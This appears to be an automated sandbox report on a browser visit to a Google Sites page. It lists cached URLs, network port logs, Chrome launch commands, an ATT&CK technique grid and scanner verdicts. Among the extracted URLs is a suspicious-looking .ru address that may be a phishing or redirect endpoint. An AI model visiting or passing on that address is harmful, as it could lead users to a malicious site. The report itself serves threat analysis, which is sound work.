HTTP traffic detected: POST /report/v4?s=VRgO%2FFxbxPaamNjBmuzIJRknN%2BWpSqC0KmAGfja5Kca6fdR2WW0TK%2BNJLJCSWtzdnzOnSfZSGAxG4f7Dthp627OsTSfFR0Ucf9oULEkZaLF3o2S02%2BxAnwwWM13Zdw%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 430Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: http://csi.gstatic.com/csi
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://accounts.google.com/gsi/ottoken
Source: chromecache_545.1.dr	String found in binary or memory: https://accounts.google.com/o/fedcm/config.json
Source: chromecache_545.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_545.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/iframe
Source: chromecache_323.1.dr, chromecache_172.1.dr, chromecache_523.1.dr, chromecache_545.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_328.1.dr, chromecache_572.1.dr	String found in binary or memory: https://angular.dev/license
Source: chromecache_523.1.dr, chromecache_545.1.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_523.1.dr	String found in binary or memory: https://apis.google.com/js/client.js
Source: chromecache_328.1.dr, chromecache_572.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://classroom.google.com/sharewidget?usegapi=1
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/widget/backdrop?usegapi=1
Source: chromecache_545.1.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://console.developers.google.com/
Source: chromecache_545.1.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://csi.gstatic.com/csi
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://dataconnector.corp.google.com/:session_prefix:ui/widgetview?usegapi=1
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://developers.google.com/
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://developers.google.com/api-client-library/javascript/reference/referencedocs
Source: chromecache_545.1.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/gis-migration)
Source: chromecache_545.1.dr	String found in binary or memory: https://developers.googleblog.com/2018/03/discontinuing-support-for-json-rpc-and.html
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://drive.google.com/savetodrivebutton?usegapi=1
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://families.google.com/webcreation?usegapi=1&usegapi=1
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.google.com/license/googlerestricted
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v62/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RP
Source: chromecache_274.1.dr, chromecache_465.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u8w4BMUTPHjxsAUi-qJCY.woff2)
Source: chromecache_274.1.dr, chromecache_465.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u8w4BMUTPHjxsAXC-q.woff2)
Source: chromecache_274.1.dr, chromecache_465.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh6UVSwaPGR_p.woff2)
Source: chromecache_274.1.dr, chromecache_465.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh6UVSwiPGQ.woff2)
Source: chromecache_274.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh7USSwaPGR_p.woff2)
Source: chromecache_274.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh7USSwiPGQ.woff2)
Source: chromecache_274.1.dr, chromecache_465.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI5wq_FQft1dw.woff2)
Source: chromecache_274.1.dr, chromecache_465.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI5wq_Gwft.woff2)
Source: chromecache_274.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI9w2_FQft1dw.woff2)
Source: chromecache_274.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI9w2_Gwft.woff2)
Source: chromecache_274.1.dr, chromecache_465.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2)
Source: chromecache_274.1.dr, chromecache_465.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjxAwXjeu.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fBBc4.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fBBc4.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfBBc4.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4WxKOzY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4mxK.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu5mxKOzY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu72xKOzY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7GxKOzY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7WxKOzY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7mxKOzY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlM-vWjMY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlMOvWjMY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlMevWjMY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlMuvWjMY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlOevWjMY.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlPevW.woff2)
Source: chromecache_490.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlPuvWjMY.woff2)
Source: chromecache_387.1.dr, chromecache_208.1.dr	String found in binary or memory: https://one.google.com/plans
Source: chromecache_387.1.dr, chromecache_208.1.dr	String found in binary or memory: https://one.google.com/storage
Source: chromecache_387.1.dr, chromecache_208.1.dr	String found in binary or memory: https://one.google.com/storage/management
Source: chromecache_523.1.dr	String found in binary or memory: https://pay.google.com/gp/v/widget/save
Source: chromecache_572.1.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://play.google.com/work/embedded/search?usegapi=1&usegapi=1
Source: chromecache_545.1.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_323.1.dr, chromecache_172.1.dr, chromecache_523.1.dr, chromecache_545.1.dr	String found in binary or memory: https://plus.googleapis.com
Source: chromecache_413.1.dr	String found in binary or memory: https://qsc.vomlogsffy.ru/z9yaFIg/
Source: chromecache_328.1.dr, chromecache_572.1.dr	String found in binary or memory: https://rapid.corp.google.com/
Source: chromecache_388.1.dr, chromecache_202.1.dr	String found in binary or memory: https://reportingwidget-staging.corp.google.com/u/0/widget/
Source: chromecache_388.1.dr, chromecache_202.1.dr	String found in binary or memory: https://reportingwidget.google.com/u/0/widget/
Source: chromecache_328.1.dr, chromecache_572.1.dr	String found in binary or memory: https://scriptz.corp.google.com/
Source: chromecache_387.1.dr, chromecache_208.1.dr	String found in binary or memory: https://ssl.gstatic.com/atari/images/no-results-found.svg
Source: chromecache_387.1.dr, chromecache_208.1.dr	String found in binary or memory: https://ssl.gstatic.com/atari/images/no_results_error.png
Source: chromecache_387.1.dr, chromecache_208.1.dr	String found in binary or memory: https://ssl.gstatic.com/atari/images/results-not-loaded.svg
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://ssl.gstatic.com/gb/js/
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://ssl.gstatic.com/microscope/embed/
Source: chromecache_208.1.dr	String found in binary or memory: https://support.google.com/a/answer/10411339
Source: chromecache_387.1.dr, chromecache_208.1.dr	String found in binary or memory: https://support.google.com/cloudsearch/answer/6172299
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://talkgadget.google.com/:session_prefix:talkgadget/_/widget
Source: chromecache_328.1.dr, chromecache_572.1.dr	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: chromecache_323.1.dr, chromecache_172.1.dr, chromecache_523.1.dr, chromecache_545.1.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: chromecache_328.1.dr, chromecache_572.1.dr	String found in binary or memory: https://workspace.google.com/products/sites/
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://www.google.com/shopping/customerreviews/badge?usegapi=1
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://www.google.com/shopping/customerreviews/optin?usegapi=1
Source: chromecache_545.1.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.login
Source: chromecache_545.1.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_545.1.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: chromecache_172.1.dr, chromecache_545.1.dr	String found in binary or memory: https://www.googleapis.com/auth/userinfo.profile
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://www.gstatic.com/partners/badge/templates/badge.html?usegapi=1
Source: chromecache_323.1.dr, chromecache_523.1.dr	String found in binary or memory: https://www.youtube.com/subscribe_embed?usegapi=1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1936,i,13823608770276383555,3430594019773042289,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241208-180523.718000 --mojo-platform-channel-handle=2156 /prefetch:11
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sites.google.com/kula.ai/rdps/home"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1936,i,13823608770276383555,3430594019773042289,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241208-180523.718000 --mojo-platform-channel-handle=2156 /prefetch:11	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://reportingwidget.google.com/u/0/widget/	0%	Avira URL Cloud	safe
https://rapid.corp.google.com/	0%	Avira URL Cloud	safe
https://scriptz.corp.google.com/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
flagpedia.net	104.26.4.62	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
